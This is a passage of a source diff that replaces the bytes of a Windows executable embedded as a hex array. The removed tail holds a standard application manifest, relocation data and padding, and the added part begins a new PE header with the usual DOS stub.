0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, - 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x09, 0x04, 0x00, 0x00, - 0x48, 0x00, 0x00, 0x00, 0x60, 0x20, 0x02, 0x00, 0x7d, 0x01, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x3c, 0x3f, 0x78, 0x6d, 0x6c, 0x20, 0x76, 0x65, - 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x3d, 0x27, 0x31, 0x2e, 0x30, 0x27, 0x20, - 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x3d, 0x27, 0x55, 0x54, - 0x46, 0x2d, 0x38, 0x27, 0x20, 0x73, 0x74, 0x61, 0x6e, 0x64, 0x61, 0x6c, - 0x6f, 0x6e, 0x65, 0x3d, 0x27, 0x79, 0x65, 0x73, 0x27, 0x3f, 0x3e, 0x0d, - 0x0a, 0x3c, 0x61, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x20, 0x78, - 0x6d, 0x6c, 0x6e, 0x73, 0x3d, 0x27, 0x75, 0x72, 0x6e, 0x3a, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x73, 0x2d, 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x73, - 0x6f, 0x66, 0x74, 0x2d, 0x63, 0x6f, 0x6d, 0x3a, 0x61, 0x73, 0x6d, 0x2e, - 0x76, 0x31, 0x27, 0x20, 0x6d, 0x61, 0x6e, 0x69, 0x66, 0x65, 0x73, 0x74, - 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x3d, 0x27, 0x31, 0x2e, 0x30, - 0x27, 0x3e, 0x0d, 0x0a, 0x20, 0x20, 0x3c, 0x74, 0x72, 0x75, 0x73, 0x74, - 0x49, 0x6e, 0x66, 0x6f, 0x20, 0x78, 0x6d, 0x6c, 0x6e, 0x73, 0x3d, 0x22, - 0x75, 0x72, 0x6e, 0x3a, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x73, 0x2d, - 0x6d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x6f, 0x66, 0x74, 0x2d, 0x63, 0x6f, - 0x6d, 0x3a, 0x61, 0x73, 0x6d, 0x2e, 0x76, 0x33, 0x22, 0x3e, 0x0d, 0x0a, - 0x20, 0x20, 0x20, 0x20, 0x3c, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, - 0x79, 0x3e, 0x0d, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x3c, 0x72, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x65, 0x64, 0x50, 0x72, 0x69, 0x76, - 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x3e, 0x0d, 0x0a, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x20, 0x20, 0x3c, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x65, 0x64, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x69, 0x6f, 0x6e, - 0x4c, 0x65, 0x76, 0x65, 0x6c, 0x20, 0x6c, 0x65, 0x76, 0x65, 0x6c, 0x3d, - 0x27, 0x61, 0x73, 0x49, 0x6e, 0x76, 0x6f, 0x6b, 0x65, 0x72, 0x27, 0x20, - 0x75, 0x69, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x3d, 0x27, 0x66, 0x61, - 0x6c, 0x73, 0x65, 0x27, 0x20, 0x2f, 0x3e, 0x0d, 0x0a, 0x20, 0x20, 0x20, - 0x20, 0x20, 0x20, 0x3c, 0x2f, 0x72, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x65, 0x64, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, - 0x3e, 0x0d, 0x0a, 0x20, 0x20, 0x20, 0x20, 0x3c, 0x2f, 0x73, 0x65, 0x63, - 0x75, 0x72, 0x69, 0x74, 0x79, 0x3e, 0x0d, 0x0a, 0x20, 0x20, 0x3c, 0x2f, - 0x74, 0x72, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x66, 0x6f, 0x3e, 0x0d, 0x0a, - 0x3c, 0x2f, 0x61, 0x73, 0x73, 0x65, 0x6d, 0x62, 0x6c, 0x79, 0x3e, 0x0d, - 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x20, 0x01, 0x00, 0x04, 0x01, 0x00, 0x00, 0xf8, 0xa2, 0x00, 0xa3, - 0x08, 0xa3, 0x10, 0xa3, 0x18, 0xa3, 0x38, 0xa3, 0x40, 0xa3, 0x48, 0xa3, - 0x60, 0xa3, 0x68, 0xa3, 0x70, 0xa3, 0x98, 0xa3, 0xa0, 0xa3, 0xc0, 0xa3, - 0xd0, 0xa3, 0xe0, 0xa3, 0xf0, 0xa3, 0x00, 0xa4, 0x10, 0xa4, 0x20, 0xa4, - 0x30, 0xa4, 0x40, 0xa4, 0x50, 0xa4, 0x60, 0xa4, 0x70, 0xa4, 0x80, 0xa4, - 0x90, 0xa4, 0xa0, 0xa4, 0xb0, 0xa4, 0xc0, 0xa4, 0xd0, 0xa4, 0xe0, 0xa4, - 0xf0, 0xa4, 0x00, 0xa5, 0x10, 0xa5, 0x20, 0xa5, 0x30, 0xa5, 0x40, 0xa5, - 0x50, 0xa5, 0x60, 0xa5, 0x70, 0xa5, 0x80, 0xa5, 0x90, 0xa5, 0xa0, 0xa5, - 0xb0, 0xa5, 0xc0, 0xa5, 0xd0, 0xa5, 0xe0, 0xa5, 0xf0, 0xa5, 0x00, 0xa6, - 0x10, 0xa6, 0x20, 0xa6, 0x30, 0xa6, 0x40, 0xa6, 0x50, 0xa6, 0x60, 0xa6, - 0x70, 0xa6, 0x80, 0xa6, 0x90, 0xa6, 0xa0, 0xa6, 0xb0, 0xa6, 0xc0, 0xa6, - 0xd0, 0xa6, 0xe0, 0xa6, 0xf0, 0xa6, 0x00, 0xa7, 0x10, 0xa7, 0x20, 0xa7, - 0x30, 0xa7, 0x40, 0xa7, 0x50, 0xa7, 0x60, 0xa7, 0x70, 0xa7, 0x80, 0xa7, - 0x90, 0xa7, 0xa0, 0xa7, 0xb0, 0xa7, 0xc0, 0xa7, 0xd0, 0xa7, 0xe0, 0xa7, - 0xf0, 0xa7, 0x00, 0xa8, 0x10, 0xa8, 0x20, 0xa8, 0x30, 0xa8, 0x40, 0xa8, - 0x50, 0xa8, 0x60, 0xa8, 0x70, 0xa8, 0x80, 0xa8, 0x90, 0xa8, 0xa0, 0xa8, - 0xb0, 0xa8, 0xc0, 0xa8, 0xd0, 0xa8, 0xe0, 0xa8, 0xf0, 0xa8, 0x00, 0xa9, - 0x10, 0xa9, 0x20, 0xa9, 0x30, 0xa9, 0x40, 0xa9, 0x50, 0xa9, 0x60, 0xa9, - 0x70, 0xa9, 0x80, 0xa9, 0x90, 0xa9, 0xa0, 0xa9, 0xb0, 0xa9, 0xc0, 0xa9, - 0xd0, 0xa9, 0xe0, 0xa9, 0xf0, 0xa9, 0x00, 0xaa, 0x10, 0xaa, 0x20, 0xaa, - 0x30, 0xaa, 0x40, 0xaa, 0x50, 0xaa, 0x60, 0xaa, 0x70, 0xaa, 0x80, 0xaa, - 0x90, 0xaa, 0xa0, 0xaa, 0xb0, 0xaa, 0xc0, 0xaa, 0x00, 0x30, 0x01, 0x00, - 0x10, 0x01, 0x00, 0x00, 0x88, 0xa1, 0x90, 0xa1, 0x98, 0xa1, 0xf0, 0xa7, - 0x00, 0xa8, 0x10, 0xa8, 0x18, 0xa8, 0x20, 0xa8, 0x28, 0xa8, 0x30, 0xa8, - 0x38, 0xa8, 0x40, 0xa8, 0x48, 0xa8, 0x58, 0xa8, 0x60, 0xa8, 0x68, 0xa8, - 0x70, 0xa8, 0x78, 0xa8, 0x80, 0xa8, 0x88, 0xa8, 0x90, 0xa8, 0xa8, 0xa8, - 0xb8, 0xa8, 0xc8, 0xa8, 0xd0, 0xa8, 0xd8, 0xa8, 0xe0, 0xa8, 0xe8, 0xa8, - 0x60, 0xaa, 0x68, 0xaa, 0x70, 0xaa, 0x78, 0xaa, 0x80, 0xaa, 0x88, 0xaa, - 0x90, 0xaa, 0x98, 0xaa, 0xa0, 0xaa, 0xa8, 0xaa, 0xb0, 0xaa, 0xb8, 0xaa, - 0xc0, 0xaa, 0xc8, 0xaa, 0xd0, 0xaa, 0xd8, 0xaa, 0x40, 0xab, 0x48, 0xab, - 0x50, 0xab, 0x58, 0xab, 0x60, 0xab, 0x68, 0xab, 0x70, 0xab, 0x78, 0xab, - 0x80, 0xab, 0x88, 0xab, 0x90, 0xab, 0x98, 0xab, 0xa0, 0xab, 0xa8, 0xab, - 0xb0, 0xab, 0xb8, 0xab, 0xc0, 0xab, 0xc8, 0xab, 0xd0, 0xab, 0xd8, 0xab, - 0xe0, 0xab, 0xe8, 0xab, 0xf0, 0xab, 0xf8, 0xab, 0x00, 0xac, 0x08, 0xac, - 0x10, 0xac, 0x18, 0xac, 0x20, 0xac, 0x28, 0xac, 0x30, 0xac, 0x38, 0xac, - 0x40, 0xac, 0x48, 0xac, 0x50, 0xac, 0x58, 0xac, 0x60, 0xac, 0x68, 0xac, - 0x70, 0xac, 0x78, 0xac, 0x80, 0xac, 0x88, 0xac, 0x90, 0xac, 0xa0, 0xac, - 0xa8, 0xac, 0xb0, 0xac, 0xb8, 0xac, 0xc0, 0xac, 0xc8, 0xac, 0xd0, 0xac, - 0xd8, 0xac, 0xe0, 0xac, 0xe8, 0xac, 0xf0, 0xac, 0xf8, 0xac, 0x00, 0xad, - 0x08, 0xad, 0x10, 0xad, 0x18, 0xad, 0x20, 0xad, 0x28, 0xad, 0x30, 0xad, - 0x38, 0xad, 0x40, 0xad, 0x48, 0xad, 0x50, 0xad, 0x58, 0xad, 0x60, 0xad, - 0x68, 0xad, 0x70, 0xad, 0x78, 0xad, 0x80, 0xad, 0x88, 0xad, 0x90, 0xad, - 0x98, 0xad, 0xa0, 0xad, 0xa8, 0xad, 0xb0, 0xad, 0xb8, 0xad, 0xc0, 0xad, - 0xc8, 0xad, 0xd0, 0xad, 0xd8, 0xad, 0xe0, 0xad, 0xe8, 0xad, 0xf0, 0xad, - 0xf8, 0xad, 0x00, 0x00, 0x00, 0x40, 0x01, 0x00, 0x38, 0x00, 0x00, 0x00, - 0xc0, 0xa1, 0xc8, 0xa1, 0xd0, 0xa1, 0xd8, 0xa1, 0xe0, 0xa1, 0xe8, 0xa1, - 0xf0, 0xa1, 0xf8, 0xa1, 0x00, 0xa2, 0x08, 0xa2, 0x10, 0xa2, 0x18, 0xa2, - 0x20, 0xa2, 0x28, 0xa2, 0x30, 0xa2, 0x38, 0xa2, 0x40, 0xa2, 0x48, 0xa2, - 0x50, 0xa2, 0x58, 0xa2, 0x70, 0xad, 0x78, 0xad, 0x80, 0xad, 0x88, 0xad, - 0x00, 0x50, 0x01, 0x00, 0x10, 0x01, 0x00, 0x00, 0xd8, 0xa7, 0xe8, 0xa7, - 0xf8, 0xa7, 0x08, 0xa8, 0x18, 0xa8, 0x28, 0xa8, 0x38, 0xa8, 0x48, 0xa8, - 0x58, 0xa8, 0x68, 0xa8, 0x78, 0xa8, 0x88, 0xa8, 0x98, 0xa8, 0xa8, 0xa8, - 0xb8, 0xa8, 0xc8, 0xa8, 0xd8, 0xa8, 0xe8, 0xa8, 0xf8, 0xa8, 0x08, 0xa9, - 0x18, 0xa9, 0x28, 0xa9, 0x38, 0xa9, 0x48, 0xa9, 0x58, 0xa9, 0x68, 0xa9, - 0x78, 0xa9, 0x88, 0xa9, 0x98, 0xa9, 0xa8, 0xa9, 0xb8, 0xa9, 0xc8, 0xa9, - 0xd8, 0xa9, 0xe8, 0xa9, 0xf8, 0xa9, 0x08, 0xaa, 0x18, 0xaa, 0x28, 0xaa, - 0x38, 0xaa, 0x48, 0xaa, 0x58, 0xaa, 0x68, 0xaa, 0x78, 0xaa, 0x88, 0xaa, - 0x98, 0xaa, 0xa8, 0xaa, 0xb8, 0xaa, 0xc8, 0xaa, 0xd8, 0xaa, 0xe8, 0xaa, - 0xf8, 0xaa, 0x08, 0xab, 0x18, 0xab, 0x28, 0xab, 0x38, 0xab, 0x48, 0xab, - 0x58, 0xab, 0x68, 0xab, 0x78, 0xab, 0x88, 0xab, 0x98, 0xab, 0xa8, 0xab, - 0xb8, 0xab, 0xc8, 0xab, 0xd8, 0xab, 0xe8, 0xab, 0xf8, 0xab, 0x08, 0xac, - 0x18, 0xac, 0x28, 0xac, 0x38, 0xac, 0x48, 0xac, 0x58, 0xac, 0x68, 0xac, - 0x78, 0xac, 0x88, 0xac, 0x98, 0xac, 0xa8, 0xac, 0xb8, 0xac, 0xc8, 0xac, - 0xd8, 0xac, 0xe8, 0xac, 0xf8, 0xac, 0x08, 0xad, 0x18, 0xad, 0x28, 0xad, - 0x38, 0xad, 0x48, 0xad, 0x58, 0xad, 0x68, 0xad, 0x78, 0xad, 0x88, 0xad, - 0x98, 0xad, 0xa8, 0xad, 0xb8, 0xad, 0xc8, 0xad, 0xd8, 0xad, 0xe8, 0xad, - 0xf8, 0xad, 0x08, 0xae, 0x18, 0xae, 0x28, 0xae, 0x38, 0xae, 0x48, 0xae, - 0x58, 0xae, 0x68, 0xae, 0x78, 0xae, 0x88, 0xae, 0x98, 0xae, 0xa8, 0xae, - 0xb8, 0xae, 0xc8, 0xae, 0xd8, 0xae, 0xe8, 0xae, 0xf8, 0xae, 0x08, 0xaf, - 0x18, 0xaf, 0x28, 0xaf, 0x38, 0xaf, 0x48, 0xaf, 0x58, 0xaf, 0x68, 0xaf, - 0x78, 0xaf, 0x88, 0xaf, 0x98, 0xaf, 0xa8, 0xaf, 0xb8, 0xaf, 0xc8, 0xaf, - 0xd8, 0xaf, 0xe8, 0xaf, 0xf8, 0xaf, 0x00, 0x00, 0x00, 0x60, 0x01, 0x00, - 0xcc, 0x00, 0x00, 0x00, 0x08, 0xa0, 0x18, 0xa0, 0x28, 0xa0, 0x38, 0xa0, - 0x48, 0xa0, 0x58, 0xa0, 0x68, 0xa0, 0x78, 0xa0, 0x88, 0xa0, 0x98, 0xa0, - 0xa8, 0xa0, 0xb8, 0xa0, 0xc8, 0xa0, 0xd8, 0xa0, 0xe8, 0xa0, 0xf8, 0xa0, - 0x08, 0xa1, 0x18, 0xa1, 0x28, 0xa1, 0x38, 0xa1, 0x48, 0xa1, 0x58, 0xa1, - 0x68, 0xa1, 0x78, 0xa1, 0x88, 0xa1, 0x98, 0xa1, 0xa8, 0xa1, 0xb8, 0xa1, - 0xc8, 0xa1, 0xd8, 0xa1, 0xe8, 0xa1, 0xf8, 0xa1, 0x08, 0xa2, 0x18, 0xa2, - 0x28, 0xa2, 0x38, 0xa2, 0x48, 0xa2, 0x58, 0xa2, 0x68, 0xa2, 0x78, 0xa2, - 0x88, 0xa2, 0x98, 0xa2, 0xa8, 0xa2, 0xb8, 0xa2, 0xc8, 0xa2, 0xd8, 0xa2, - 0xe8, 0xa2, 0xf8, 0xa2, 0x08, 0xa3, 0x18, 0xa3, 0x28, 0xa3, 0x38, 0xa3, - 0x48, 0xa3, 0x58, 0xa3, 0x68, 0xa3, 0x78, 0xa3, 0x88, 0xa3, 0x98, 0xa3, - 0xa8, 0xa3, 0xb8, 0xa3, 0xc8, 0xa3, 0xd8, 0xa3, 0xe8, 0xa3, 0xf8, 0xa3, - 0x08, 0xa4, 0x18, 0xa4, 0x28, 0xa4, 0x38, 0xa4, 0x48, 0xa4, 0x58, 0xa4, - 0x68, 0xa4, 0x78, 0xa4, 0x88, 0xa4, 0x98, 0xa4, 0xa8, 0xa4, 0xb8, 0xa4, - 0xc8, 0xa4, 0xd8, 0xa4, 0xe8, 0xa4, 0xf8, 0xa4, 0x08, 0xa5, 0x18, 0xa5, - 0x28, 0xa5, 0x38, 0xa5, 0x48, 0xa5, 0x58, 0xa5, 0x68, 0xa5, 0x78, 0xa5, - 0x88, 0xa5, 0x98, 0xa5, 0xa8, 0xa5, 0xb8, 0xa5, 0xc8, 0xa5, 0xd8, 0xa5, - 0xe8, 0xa5, 0xf8, 0xa5, 0x08, 0xa6, 0x00, 0x00, 0x00, 0x70, 0x01, 0x00, - 0xc4, 0x01, 0x00, 0x00, 0x30, 0xa2, 0x40, 0xa2, 0x50, 0xa2, 0x60, 0xa2, - 0x70, 0xa2, 0x80, 0xa2, 0x90, 0xa2, 0xa0, 0xa2, 0xb0, 0xa2, 0xc0, 0xa2, - 0xd0, 0xa2, 0xe0, 0xa2, 0xf0, 0xa2, 0x00, 0xa3, 0x10, 0xa3, 0x20, 0xa3, - 0x30, 0xa3, 0x40, 0xa3, 0x50, 0xa3, 0x60, 0xa3, 0x70, 0xa3, 0x80, 0xa3, - 0x90, 0xa3, 0xa0, 0xa3, 0xb0, 0xa3, 0xc0, 0xa3, 0xd0, 0xa3, 0xe0, 0xa3, - 0xf0, 0xa3, 0x00, 0xa4, 0x10, 0xa4, 0x20, 0xa4, 0x30, 0xa4, 0x40, 0xa4, - 0x50, 0xa4, 0x60, 0xa4, 0x70, 0xa4, 0x80, 0xa4, 0x90, 0xa4, 0xa0, 0xa4, - 0xb0, 0xa4, 0xc0, 0xa4, 0xd0, 0xa4, 0xe0, 0xa4, 0xf0, 0xa4, 0x00, 0xa5, - 0x10, 0xa5, 0x20, 0xa5, 0x30, 0xa5, 0x40, 0xa5, 0x50, 0xa5, 0x60, 0xa5, - 0x70, 0xa5, 0x80, 0xa5, 0x90, 0xa5, 0xa0, 0xa5, 0xb0, 0xa5, 0xc0, 0xa5, - 0xd0, 0xa5, 0xe0, 0xa5, 0xf0, 0xa5, 0x00, 0xa6, 0x10, 0xa6, 0x20, 0xa6, - 0x30, 0xa6, 0x40, 0xa6, 0x50, 0xa6, 0x60, 0xa6, 0x70, 0xa6, 0x80, 0xa6, - 0x90, 0xa6, 0xa0, 0xa6, 0xb0, 0xa6, 0xc0, 0xa6, 0xd0, 0xa6, 0xe0, 0xa6, - 0xf0, 0xa6, 0x00, 0xa7, 0x10, 0xa7, 0x20, 0xa7, 0x30, 0xa7, 0x40, 0xa7, - 0x50, 0xa7, 0x60, 0xa7, 0x70, 0xa7, 0x80, 0xa7, 0x90, 0xa7, 0xa0, 0xa7, - 0xb0, 0xa7, 0xc0, 0xa7, 0xd0, 0xa7, 0xe0, 0xa7, 0xf0, 0xa7, 0x00, 0xa8, - 0x10, 0xa8, 0x20, 0xa8, 0x30, 0xa8, 0x40, 0xa8, 0x50, 0xa8, 0x60, 0xa8, - 0x70, 0xa8, 0x80, 0xa8, 0x90, 0xa8, 0xa0, 0xa8, 0xb0, 0xa8, 0xc0, 0xa8, - 0xd0, 0xa8, 0xe0, 0xa8, 0xf0, 0xa8, 0x00, 0xa9, 0x10, 0xa9, 0x20, 0xa9, - 0x30, 0xa9, 0x40, 0xa9, 0x50, 0xa9, 0x60, 0xa9, 0x70, 0xa9, 0x80, 0xa9, - 0x90, 0xa9, 0xa0, 0xa9, 0xb0, 0xa9, 0xc0, 0xa9, 0xd0, 0xa9, 0xe0, 0xa9, - 0xf0, 0xa9, 0x00, 0xaa, 0x10, 0xaa, 0x20, 0xaa, 0x30, 0xaa, 0x40, 0xaa, - 0x50, 0xaa, 0x60, 0xaa, 0x70, 0xaa, 0x80, 0xaa, 0x90, 0xaa, 0xa0, 0xaa, - 0xb0, 0xaa, 0xc0, 0xaa, 0xd0, 0xaa, 0xe0, 0xaa, 0xf0, 0xaa, 0x00, 0xab, - 0x10, 0xab, 0x20, 0xab, 0x30, 0xab, 0x40, 0xab, 0x50, 0xab, 0x60, 0xab, - 0x70, 0xab, 0x80, 0xab, 0x90, 0xab, 0xa0, 0xab, 0xb0, 0xab, 0xc0, 0xab, - 0xd0, 0xab, 0xe0, 0xab, 0xf0, 0xab, 0x00, 0xac, 0x10, 0xac, 0x20, 0xac, - 0x30, 0xac, 0x40, 0xac, 0x50, 0xac, 0x60, 0xac, 0x70, 0xac, 0x80, 0xac, - 0x90, 0xac, 0xa0, 0xac, 0xb0, 0xac, 0xc0, 0xac, 0xd0, 0xac, 0xe0, 0xac, - 0xf0, 0xac, 0x00, 0xad, 0x10, 0xad, 0x20, 0xad, 0x30, 0xad, 0x40, 0xad, - 0x50, 0xad, 0x60, 0xad, 0x70, 0xad, 0x80, 0xad, 0x90, 0xad, 0xa0, 0xad, - 0xb0, 0xad, 0xc0, 0xad, 0xd0, 0xad, 0xe0, 0xad, 0xf0, 0xad, 0x00, 0xae, - 0x10, 0xae, 0x20, 0xae, 0x30, 0xae, 0x40, 0xae, 0x50, 0xae, 0x60, 0xae, - 0x70, 0xae, 0x80, 0xae, 0x90, 0xae, 0xa0, 0xae, 0xb0, 0xae, 0xc0, 0xae, - 0xd0, 0xae, 0xe0, 0xae, 0xf0, 0xae, 0x00, 0xaf, 0x10, 0xaf, 0x20, 0xaf, - 0x30, 0xaf, 0x40, 0xaf, 0x50, 0xaf, 0x60, 0xaf, 0x70, 0xaf, 0x80, 0xaf, - 0x90, 0xaf, 0xa0, 0xaf, 0xb0, 0xaf, 0xc0, 0xaf, 0xd0, 0xaf, 0xe0, 0xaf, - 0xf0, 0xaf, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, - 0x00, 0xa0, 0x10, 0xa0, 0x20, 0xa0, 0x30, 0xa0, 0x40, 0xa0, 0x50, 0xa0, - 0x60, 0xa0, 0x00, 0x00, 0x00, 0xa0, 0x01, 0x00, 0x18, 0x00, 0x00, 0x00, - 0xb8, 0xa6, 0xd0, 0xa6, 0xd8, 0xa6, 0x60, 0xa7, 0x78, 0xa7, 0x80, 0xa7, - 0x88, 0xa7, 0x90, 0xa7, 0x00, 0xd0, 0x01, 0x00, 0x44, 0x00, 0x00, 0x00, - 0x70, 0xa1, 0xb8, 0xa1, 0xd8, 0xa1, 0xf8, 0xa1, 0x18, 0xa2, 0x38, 0xa2, - 0x68, 0xa2, 0x80, 0xa2, 0x88, 0xa2, 0x90, 0xa2, 0xc8, 0xa2, 0xd0, 0xa2, - 0x30, 0xa8, 0x38, 0xa8, 0x40, 0xa8, 0x48, 0xa8, 0x50, 0xa8, 0x58, 0xa8, - 0x60, 0xa8, 0x68, 0xa8, 0x70, 0xa8, 0x78, 0xa8, 0x88, 0xa8, 0x90, 0xa8, - 0x98, 0xa8, 0xa0, 0xa8, 0xa8, 0xa8, 0xb0, 0xa8, 0xb8, 0xa8, 0xc0, 0xa8, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 + 0x4d, 0x5a, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0xff, 0xff, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x0e, 0x1f, 0xba, 0x0e, 0x00, 0xb4, 0x09, 0xcd, + 0x21, 0xb8, 0x01, 0x4c, 0xcd, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, + 0x72, 0x6f, 0x67, 0x72, 0x61, 0x6d, 0x20, 0x63, 0x61, 0x6e, 0x6e, 0x6f, + 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6e, 0x20, 0x69, 0x6e, 0x20, + 0x44, 0x4f, 0x53, 0x20, 0x6d, 0x6f, 0x64, 0x65, 0x2e, 0x0d, 0x0d, 0x0a, + 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd4, 0xad, 0xed, 0xad, + 0x90, 0xcc, 0x83, 0xfe, 0x90, 0xcc, 